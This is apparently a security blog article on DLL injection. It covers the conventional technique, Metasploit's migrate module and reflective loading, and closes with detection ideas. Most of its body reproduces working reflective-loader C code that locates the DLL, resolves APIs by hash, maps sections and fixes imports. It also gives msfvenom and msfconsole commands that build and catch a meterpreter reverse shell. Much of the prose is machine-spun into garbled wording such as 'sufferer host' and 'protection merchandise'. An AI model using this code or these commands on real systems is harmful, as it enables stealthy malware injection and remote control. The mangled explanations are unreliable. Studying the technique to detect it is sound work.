A Detail Understanding of DLL Injection Attack
What are DLL Files?
Preface
The DLL injection is that permits a technique to actively load the required dll. In order to enhance stealth, malware generally makes use of DLL injection generation to inject its personal malicious code withinside the shape of dll into especially relied on processes.
The traditional dll injection method makes use of the LoadLibraryA() characteristic to make the injected technique load the required dll. A deadly flaw of the traditional dll injection approach is that the malicious dll is needed to be saved as a report at the sufferer host. In this way, the traditional dll injection generation leaves a massive hint at the sufferer`s host, that is without problems detected via way of means of protection merchandise which include edr. In order to make up for this defect, Stephen fewer proposed much less reflective dll injection generation, and open-supply it on Github. The gain of reflective dll injection generation is that malicious dll may be at once transferred to the goal technique reminiscence via the socket and different strategies and loaded, with none documents touchdown at some stage in the period. , the detection issue of protection merchandise is significantly increased.
This article will explain the reflective dll injection technology from the introduction of dll injection technology, the analysis of the MSF migrate module, the detection ideas, and the thinking of offensive and defensive confrontation.
Introduction
Types of DLL Injections
- Conventional DLL Injection
- Reflective DLL Injection
Conventional DLL Injection Attack
- By calling the CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread() functions, the injected process creates a thread for dll injection.
- By calling the QueueUserAPC()/SetThreadContext() function to hijack the existing thread of the injected process to load the dll.
- The interception event is set by calling the SetWindowsHookEx() function. When the corresponding event occurs, the injected process executes the interception event function to load the dll.
- Enable SE_DEBUG_NAME permission in the access token of the injected process.
- Use the openOpenProcess() function to get the injected process handle.
- Use the VirtualAllocEx() function to open a buffer in the injected process and use the WriteProcessMemory() function to write a string to the DLL path.
- Use the GetProcAddress() function to find the address of the LoadLibraryA function in kernel32.dll loaded by the current process.
- The LoadLibraryA() function is called through the CreateRemoteThread() function and a new thread is started in the injected process so that the injected process loads the malicious DLL.
Reflective DLL Injection Attack
- Obtain the base address of the unresolved dll of the injected process, which is the dll referred to in step 7 in the figure below.
- Obtain the necessary dll handles and functions to prepare for repairing the import table.
- Allocate a new memory to fetch the parsing dll, and copy the pe headers and sections into the new memory.
- Fix import table and redirect table.
- Execute the DllMain() function.
Analysis of MSF Module
- Read metsrv.dll (metpreter payload template dll) file into memory.
- Generate the final payload.
- msf generates a small piece of assembly migrate stub is mainly used to establish socket connections.
- Modify the dos header of metsrv.dll into a small piece of assembly meterpreter_loader, which is mainly used to call the reflective loader function and the dllmain function. Fill in the config block area of metsrv.dll with the configuration information when meterpreter establishes a session.
- Finally, splicing the migrate stub and the modified metsrv.dll together to generate the final payload.
- Send migrate request and payload to msf server.
- msf allocates a block of memory to the migration target process and writes the payload.
- The remote thread created by msf first executes the migrate stub. If it fails, it will try to execute the migrate stub by means of apc injection. The migrate stub will call the meterpreter loader, and the meterpreter loader will call the reflective loader.
- The reflective loader performs reflective dll injection.
- Finally, msf client and msf server establish a new session.
Static Analysis
Get dll base address
uiLibraryAddress = caller();
#ifdef __MINGW32__ #define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) #else #pragma intrinsic(_ReturnAddress) #define WIN_GET_CALLER() _ReturnAddress() #endif __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
while( TRUE ) { //Take the current address as the dos header structure, whether the e_magic member variable of this structure points to the MZ substring if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) { uiHeaderValue += uiLibraryAddress; //Determine whether the e_lfanew structure member points to the PE substring, if so, jump out of the loop and obtain the base address of the unparsed dll if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } } uiLibraryAddress--; }
The Necessary dll Handle and Function Address
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; while( uiValueA ) { uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; uiValueC = 0; ULONG_PTR tmpValC = uiValueC; //Calculate the hash value of the substring pointed to by tmpValC and store it in uiValueC .... if( (DWORD)uiValueC == KERNEL32DLL_HASH )
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 3; while( usCounter > 0 ) { dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); if( dwHashValue == LOADLIBRARYA_HASH //Equal to the case of other function hash || ... ) { uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); //Equal to the case of other function hash ... usCounter--; } uiNameArray += sizeof(DWORD); uiNameOrdinals += sizeof(WORD); } }
Mapping the dll to New Memory
// allocate new memory for SizeOfImage uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ... uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; uiValueB = uiLibraryAddress; uiValueC = uiBaseAddress; // Copy all header and section tables to new memory byte by byte while( uiValueA-- ) *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; // Parse each section entry uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while( uiValueE-- ) { uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; //Copy the contents of each section to the corresponding location in the new memory while( uiValueD-- ) *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; uiValueA += sizeof( IMAGE_SECTION_HEADER ); }
Import Table and Relocation Table
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // when the end of the import table is not reached while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics ) { //Use the LoadLibraryA() function to load the corresponding dll uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); ... uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); //IAT table uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); while( DEREF(uiValueA) ) { //If the imported function is imported by function number if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) {//Import the exported function of the dll where the function is located through the function number index uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); //Write the corresponding import function address to the IAT table DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); } else { //Import function imported by name uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); } uiValueA += sizeof( ULONG_PTR ); if( uiValueD ) uiValueD += sizeof( ULONG_PTR ); } uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); }
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; //If the value of the redirection table is not 0, fix the redirection section if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) { uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock; uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) { uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); //According to different identifiers, correct the value of each corresponding address while( uiValueB-- ) { if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); uiValueD += sizeof( IMAGE_RELOC ); } uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; } }
Dynamic Debugging
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe
and use msfconsole to set listeningmsf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 0.0.0.0 lhost => 0.0.0.0 msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 0.0.0.0:4444
bu KERNEL32!CreateRemoteThread;g
migrate 5600 //5600 is the pid of the process to be migrated
HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId );
!address 000001c160bb0000
s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000 is the lpStartAddress above, 3200 is the size of the memory block we got
Detection Method
- Hooks the sensitive API and scans the memory of the injected and injected processes when it encounters a sensitive API call sequence.
- Skip the DLL in InMemoryOrderModuleList.
- Strong feature matching _ReturnAddress() function. The preoperation of the Reflectiveloader function to locate the dos header is to call the _ReturnAddress() function to obtain an address of the current dll.
- The code logic that scans and locates the beginning of pe. As detailed in Section 3.1, we can weakly match this logic.
- Scan for specific hash functions and hash values. Since DLL injection requires many DLL handles and function addresses, you need to use a hash to compare the DLL name with the function name. You can match the hash function with these special hash values.
- Detects DLL injection as a whole. The inserted process actually has two dll files. One is the original pe file before analysis and the other is the pe file after analysis. Check the relationship between the two DLL files and you'll see that it's a reflective DLL injection tool.
Post a Comment